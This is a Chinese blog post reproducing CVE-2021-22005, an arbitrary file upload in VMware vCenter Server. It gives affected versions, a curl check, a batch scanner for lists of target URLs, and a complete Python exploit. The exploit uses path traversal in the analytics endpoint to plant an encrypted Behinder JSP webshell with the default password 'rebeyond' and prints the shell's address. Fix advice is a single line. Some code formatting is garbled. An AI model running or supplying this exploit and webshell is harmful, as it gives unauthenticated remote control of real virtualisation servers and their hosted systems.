资讯专栏INFORMATION COLUMN

VMware vCenter Server任意文件上传漏洞(CVE-2021-22005)复现

EddieChan / 1230人阅读

摘要:该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。目前已经检测到攻击者正在扫描和攻击存在漏洞的服务器。

目录

漏洞描述

影响版本

漏洞批量检测poc

漏洞EXP

修复建议


声明:切勿用于非法入侵,仅供检测与学习!传送门 ——> 中华人民共和国网络安全法

漏洞描述

2021年9月21日,VMware发布安全公告,公开披露了vCenter Server中的19个安全漏洞,这些漏洞的CVSSv3评分范围为4.3-9.8。

其中,最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005),该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻击者可以通过上传恶意文件在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。

根据Shodan的搜索结果,数以千计的vCenter Server可通过互联网访问并受到攻击 。目前已经检测到攻击者正在扫描和攻击存在漏洞的VMware vCenter 服务器。

影响版本

  • VMware vCenter Server 7.0
  • VMware vCenter Server 6.7
  • 注:CVE-2021-22005会影响所有默认配置的 vCenter Server 6.7 和 7.0 部署,不会影响 vCenter Server 6.5。其它18个漏洞的影响范围请参见VMware官方公告。

漏洞批量检测poc

我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响

curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
  • 如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。 
  • 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
  • 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。 
  • 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
  • 任何其他状态代码可能暗示不适用。

构建POC如下

#author: 小缘喵import requestsfrom requests.packages import urllib3urllib3.disable_warnings()headers={    "User-Agent":"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36"}params = (    ("_c", "test"),)for i in open("漏洞url所在的.txt","r"):    if "https" in i:        i = i.strip("/r/n")        url = i + "/analytics/telemetry/ph/api/level"        try:            r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10)            code = r.status_code            if code == 200:                text = r.text                if text:                    if "OFF" not in text:                        print(f"/033[0;31m{url}/033[0m 可能存在漏洞")                        with open("vul.text","a",encoding="utf-8") as f:                            f.write(i+"/r")            else:                print(f"{i} 不存在漏洞")        except:            pass    else:        pass

漏洞EXP

用法:CVE-2021-22005_poc.py  -t  https://ip地址

import requestsimport randomimport stringimport sysimport timeimport requestsimport urllib3import argparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def id_generator(size=6, chars=string.ascii_lowercase + string.digits):    return "".join(random.choice(chars) for _ in range(size))    def escape(_str):    _str = _str.replace("&", "&")    _str = _str.replace("<", "<")    _str = _str.replace(">", ">")    _str = _str.replace("/"", """)    return _str    def str_to_escaped_unicode(arg_str):    escaped_str = ""    for s in arg_str:        val = ord(s)        esc_uni = "//u{:04x}".format(val)        escaped_str += esc_uni    return escaped_strdef createAgent(target, agent_name, log_param):        url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)    headers = { "Cache-Control": "max-age=0",                "Upgrade-Insecure-Requests": "1",                "User-Agent": "Mozilla/5.0",                "X-Deployment-Secret": "abc",                "Content-Type": "application/json",                "Connection": "close" }                   json_data = { "manifestSpec":{},                   "objectType": "a2",                  "collectionTriggerDataNeeded":  True,                  "deploymentDataNeeded":True,                   "resultNeeded": True,                   "signalCollectionCompleted":True,                   "localManifestPath": "a7",                  "localPayloadPath": "a8",                  "localObfuscationMapPath": "a9" }                      requests.post(url, headers=headers, json=json_data, verify=False)    def generate_manifest(webshell_location, webshell):    manifestData = """                                              ServiceInstance                                          content.about.instanceUuid                content.about.osType                content.about.build                content.about.version                                                                                               vir:VCenter                                                                                              ServiceInstance                                                                                                                                                                                                                vir:VCenter                                  """ % (webshell_location, webshell)        return manifestDatadef arg():    parser = argparse.ArgumentParser()    parser.add_argument("-t", "--target", help = "Target", required = True)    args = parser.parse_args()    target = args.target    print("[*] Target: %s" % target)    return targetdef exec():    target = arg()    # Variables    webshell_param = id_generator(6)    log_param = id_generator(6)    agent_name = id_generator(6)    shell_name = "Server.jsp"    webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""    webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name    webshell = str_to_escaped_unicode(webshell)    manifestData = generate_manifest(webshell_location,webshell)    print("[*] Creating Agent")    createAgent(target, agent_name, log_param)    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)    headers = {"Cache-Control": "max-age=0",                      "Upgrade-Insecure-Requests": "1",                      "User-Agent": "Mozilla/5.0",                      "X-Deployment-Secret": "abc",                      "Content-Type": "application/json",                      "Connection": "close"}    json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}    requests.post(url, headers=headers, json=json_data, verify=False)    #webshell连接地址    url = "%s/idm/..;/%s" % (target, shell_name)    code = requests.get(url=url, headers=headers,verify=False).status_code    if code != "404":        print("webshell地址: %s" % url)        print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )    else:        print("未获取到webshell地址")if __name__ == "__main__":    exec()    

修复建议

  • 升级VMware vCenter Server 至最新版本。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121593.html

相关文章

  • weblogic漏洞总结复现

    摘要:在当前页面抓包后修改内容,写入冰蝎脚本文件。添加的内容为实现反弹。影响范围相关漏洞有复现过程环境这里先使用扫描一下是否开启了服务。使用工具写入。 目录 简介Web...

    glumes 评论0 收藏0
  • Tomcat 漏洞总结

    摘要:目录弱口令后台部署弱口令后台部署登录口处可爆破登录口处可爆破漏洞原理由于配置不当,可导致任意文件上传,影响版本由于配置不当,中的设置为,可导致用方法上传任意文件,但限制了后缀的上传漏洞复 目录 CVE-2017-12615 CVE-2020-1938 Tomcat 弱口令&后台war部署 ...

    Ethan815 评论0 收藏0
  • 使用vmware vconverter从物理机迁移系统到虚拟机P2V(多图)

    摘要:本文完整记录了如何从物理服务器,保持所有环境配置信息,纹丝不动的迁移到虚拟机上,俗称。测试在上可以看到会自动创建一台虚拟机并启动。所以要求与源主机必须能够直接通信才可以迁移。参考操作实现物理机迁移到虚拟机中文用户指南中文原文链接地址 本文完整记录了如何从物理服务器,保持所有环境配置信息,纹丝不动的迁移到虚拟机上,俗称 P2V 。采用的工具是VMware公司的 VMware vcente...

    KevinYan 评论0 收藏0
  • tomcat漏洞任意文件上传CVE-2017-12615)

    摘要:环境搭建漏洞复现任意上传文件方法一在文件名后面添加斜杠来进行绕过方法二在文件名后面添加来进行绕过方法三在文件名后面添加来进行绕过方法四上传哥斯特生产的漏洞修护配置值为或注释参数,禁止使用方法并重启。 ...

    ybak 评论0 收藏0
  • Gitlab无需认证RCE漏洞复现CVE-2021-22205)

    摘要:免责声明本文档供学习,请使用者注意使用环境并遵守国家相关法律法规由于使用不当造成的后果上传者概不负责摘抄为世界进文明,为人类造幸福,以青春之我,创建青春之家庭,青春之国家,青春之民族,青春之人类,青春之地球,青春之宇宙,资以乐其无涯之生。 ...

    frank_fun 评论0 收藏0

发表评论

0条评论

EddieChan

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<